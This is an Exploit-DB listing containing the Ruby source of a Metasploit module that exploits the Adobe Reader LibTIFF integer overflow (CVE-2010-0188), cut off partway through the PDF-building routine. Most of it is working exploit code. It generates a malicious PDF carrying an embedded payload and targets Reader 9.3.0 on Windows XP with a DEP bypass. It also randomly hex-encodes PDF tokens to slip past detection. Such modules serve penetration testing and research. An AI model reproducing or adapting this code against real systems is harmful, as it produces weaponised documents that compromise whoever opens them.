Exploit-DB #16670
Description: Adobe Acrobat - Bundled LibTIFF Integer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: adobe_libtiff.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe Acrobat Bundled LibTIFF Integer Overflow',
			'Description'    => %q{
				This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat
				Professional versions 8.0 through 8.2 and 9.0 through 9.3.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Microsoft',                         # reported to Adobe
					'villy <villys777 [at] gmail.com>',  # public exploit
					# Metasploit version by:
					'jduck'
				],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2010-0188' ],
					[ 'BID', '38195' ],
					[ 'OSVDB', '62526' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ],
					[ 'URL', 'http://secunia.com/blog/76/' ],
					[ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
					'DisableNops'	 => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# test results (on Windows XP SP3)
					# reader 6.0.1 - untested
					# reader 7.0.5 - untested
					# reader 7.0.8 - untested
					# reader 7.0.9 - untested
					# reader 7.1.0 - untested
					# reader 7.1.1 - untested
					# reader 8.0.0 - untested
					# reader 8.1.1 - untested
					# reader 8.1.2 - untested
					# reader 8.1.3 - untested
					# reader 8.1.4 - untested
					# reader 8.1.5 - untested
					# reader 8.1.6 - untested
					# reader 8.2.0 - untested
					# reader 9.0.0 - untested
					# reader 9.1.0 - untested
					# reader 9.2.0 - untested
					# reader 9.3.0 - works
					[ 'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)',
						{
							# ew, hardcoded offsets - see make_tiff()
						}
					],
				],
			'DisclosureDate' => 'Feb 16 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)

	end

	def exploit

		tiff_data = make_tiff(payload.encoded)
		xml_data = make_xml(tiff_data)
		compressed = Zlib::Deflate.deflate(xml_data)

		# Create the pdf
		pdf = make_pdf(compressed)

		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(pdf)

	end


	def RandomNonASCIIString(count)
		result = ""
		count.times do
			result << (rand(128) + 128).chr
		end
		result
	end

	def ioDef(id)
		"%d 0 obj\r\n" % id
	end

	def ioRef(id)
		"%d 0 R" % id
	end


	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)
		result = ""
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
				result << "#%x" % c.unpack("C*")[0]
			else
				result << c
			end
		end
		result
	end


	def ASCIIHexWhitespaceEncode(str)
		result = ""
		whitespace = ""
		str.each_byte do |b|
			result << whitespace << "%02x" % b
			whitespace = " " * (rand(3) + 1)
		end
		result << ">"
	end


	def make_pdf(xml_data)

		xref = []
		eol = "\x0d\x0a"
		endobj = "endobj" << eol

		pdf = "%PDF-1.5" << eol
		pdf << "%" << RandomNonASCIIString(4) << eol

		xref << pdf.length
		pdf << ioDef(1) << nObfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << nObfu("/Type /EmbeddedFile>>") << eol
		pdf << "stream" << eol
		pdf << xml_data << eol
		pdf << eol << "endstream" << eol
		pdf << endobj

		xref << pdf.length
		pdf << ioDef(2) << nObfu("<</V () /Kids [") << ioRef(3) << nObfu("] /T (") << "topmostSubform[0]" << nObfu(") >>") << eol << endobj

		xref << pdf.length
		pdf << ioDef(3) << nObfu("<</Parent ") << ioRef(2) << nObfu(" /Kids [") << ioRef(4) << nObfu("] /T (") << "Page1[0]" << nObfu(")>>")
		pdf << eol << endobj

		xref << pdf.length
		pdf << ioDef(4) << nObfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << ioRef(5)
		pdf << nObfu("/FT /Btn/TU (") << "ImageField1" << nObfu(")/Ff 65536/Parent ") << ioRef(3)
		pdf << nObfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << nObfu(")/Rect [107.385 705.147 188.385 709.087]>>")
		pdf << eol << endobj

		xref << pdf.length
		pdf << ioDef(5) << nObfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ")
		pdf << ioRef(6) << nObfu("/Type /Page/PieceInfo null>>")
		pdf << eol << endobj

		xref << pdf.length
		pdf << ioDef(6) << nObfu("<</Kids [") << ioRef(5) << nObfu("]/Type /Pages/Count 1>>")
		pdf << eol << endobj

		xref << pdf.length
		pdf << ioDef(7) << ("<</PageMode /UseAttachments/Pages ") << ioRef(6)
		pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << ioRef(8)
		pdf << ("/Type /Catalog>>")
		pdf << eol << endobj

		xref << pdf.length
		pdf << ioDef(8) << nObfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << ioRef(1) << nObfu("]/Fields [")
		pdf << ioRef(2) << nObfu("]>>")
		pdf << endobj << eol

		xrefPosition = pdf.length
		pdf << "xref" << eol
		pdf << "0 %d" % (xref.length + 1) << eol
		pdf << "[PII_REDACTED] 65535 f" << eol
		xref.each do |index|
			pdf << "%010d 00000 n" % index << eol
		end
		pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(7) << ">